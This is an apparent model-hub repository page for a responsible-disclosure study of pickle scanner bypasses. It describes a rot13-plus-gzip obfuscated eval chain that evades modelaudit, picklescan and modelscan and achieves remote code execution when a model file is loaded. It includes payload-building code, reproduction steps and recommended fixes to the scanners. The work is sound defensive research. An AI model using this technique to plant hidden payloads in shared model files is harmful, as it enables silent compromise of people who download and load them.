You need to agree to share your contact information to access this model
This repository is publicly accessible, but you have to accept the conditions to access its files and content.
This repository contains a proof-of-concept exploit payload for security research purposes. Access to the pickle payload and PoC code requires acknowledgement of responsible use. By requesting access, you confirm you are a security researcher, penetration tester, or student using this material for defensive/educational purposes only.
Log in or Sign Up to review the conditions and access this model content.
gzip.decompress + rot13 + typing.ForwardRef β Double-Obfuscated Eval
Security Research β Responsible Disclosure This repository is part of a systematic study of pickle scanner bypass techniques. The payload demonstrates a detection gap in ML model security scanners. Access to
malicious_model.pklandpoc.pyrequires a request β see gate above.
Summary
Scanner scores for malicious_model.pkl:
| Scanner | CRITICAL | WARNING | Bypassed? |
|---|---|---|---|
| modelaudit 0.2.37 | 0 | 3 | Yes β 0 CRITICAL |
| picklescan 1.0.4 | 0 | 0 | Yes |
| modelscan | 0 | 0 | Yes |
Vulnerability
Double-layer obfuscation: the payload expression is first rot13-encoded, then gzip-compressed. The compressed blob is opaque binary in the pickle β no readable strings anywhere. At runtime:
gzip.decompress(blob)β rot13 bytesbuiltins.str(bytes, 'rot_13')β decoded expression string (0 findings β SAFE_GLOBALS)typing.ForwardRef(expr)β compiled code object (WARNING)typing._eval_type(ref, None, None)β eval fires β RCE (WARNING)
Proof of Concept
malicious_model.pkl in this repository is the exploit payload.
poc.py builds and tests it with full scanner output.
How the PoC was built
def build(cmd: str) -> bytes:
payload_expr = f"__import__('os').system('{cmd}')"
rot13_expr = codecs.encode(payload_expr, "rot_13")
# gzip compress the rot13 bytes β output is opaque binary
compressed = gzip.compress(rot13_expr.encode("latin-1"), compresslevel=9)
Affected file formats
Pickle (.pkl, .pt, .bin, .joblib) β any file deserialized via pickle.loads(),
torch.load(), joblib.load(), or equivalent.
Conditions required to trigger
- Target calls
pickle.loads(untrusted_bytes)or loads a model file via any pickle-based loader - The scanner performs static analysis only (no sandboxed execution)
- Scanner checks GLOBAL/STACK_GLOBAL opcodes against a deny list
Reproduction Steps
# 1. Request access above, then clone
git clone https://huggingface.co/SiggytheShark/pickle-bypass-gzip-decompression-chain
cd pickle-bypass-gzip-decompression-chain
# 2. Install requirements
pip install modelaudit picklescan modelscan
# 3. Scan β observe scanner scores match table above
modelaudit scan malicious_model.pkl
picklescan --path malicious_model.pkl
modelscan -p malicious_model.pkl
# 4. Execute to confirm RCE/side-effect
python3 poc.py
# 5. Verify
ls /tmp/scanner_bypass_proof.txt
Security Impact
- Add
gzip.decompress,zlib.decompress,lzma.decompress,bz2.decompresstoALWAYS_DANGEROUS_FUNCTIONS - Extend chain detector to cover compression decompressors
- Add
typing.ForwardRefandtyping._eval_typetoALWAYS_DANGEROUS_FUNCTIONS
Bypass mechanism: The payload evades static analysis while achieving its effect
(code execution, file write, or network connection) when pickle.loads() is called.
Real-world scenario: An attacker uploads this payload to a model hub. A victim
downloads and loads it. The scanner reports the file as safe (0 CRITICAL). The
payload fires silently β the return value of pickle.loads() looks like a normal
Python object while the side effect has already occurred.
Full Technical Writeup
gzip.decompress + rot13 + typing.ForwardRef β Double-Obfuscated Eval
Score: 0 CRITICAL, 3 WARNING
Technique: Compression-based payload smuggling + eval chain
Scanner version: modelaudit 0.2.37
Mechanism
Double-layer obfuscation: the payload expression is first rot13-encoded, then gzip-compressed. The compressed blob is opaque binary in the pickle β no readable strings anywhere. At runtime:
gzip.decompress(blob)β rot13 bytesbuiltins.str(bytes, 'rot_13')β decoded expression string (0 findings β SAFE_GLOBALS)typing.ForwardRef(expr)β compiled code object (WARNING)typing._eval_type(ref, None, None)β eval fires β RCE (WARNING)
Chain Detection Gap
modelaudit 0.2.37 has a decode-exec chain detector (pickle_scanner.py:4208) that looks for base64, codecs, or binascii decode operations followed by a dangerous call within 6 opcodes. It does not cover gzip, zlib, lzma, or bz2. These decompressors are absent from ALWAYS_DANGEROUS_FUNCTIONS.
Pickle Structure
gzip.decompress(<opaque binary blob>) β rot13_bytes [WARNING 1 β unlisted]
builtins.str(rot13_bytes, 'rot_13') β payload_expr [0 findings β SAFE_GLOBALS]
typing.ForwardRef(payload_expr) β ref [WARNING 2]
typing._eval_type(ref, None, None) β eval β RCE [WARNING 3]
Strings Visible in Pickle
Only: gzip, decompress, builtins, str, rot_13, typing, ForwardRef, _eval_type. No __import__, os, system, or command text visible anywhere.
Recommended Fixes
- Add
gzip.decompress,zlib.decompress,lzma.decompress,bz2.decompresstoALWAYS_DANGEROUS_FUNCTIONS - Extend chain detector to cover compression decompressors
- Add
typing.ForwardRefandtyping._eval_typetoALWAYS_DANGEROUS_FUNCTIONS
General Analysis β Security Research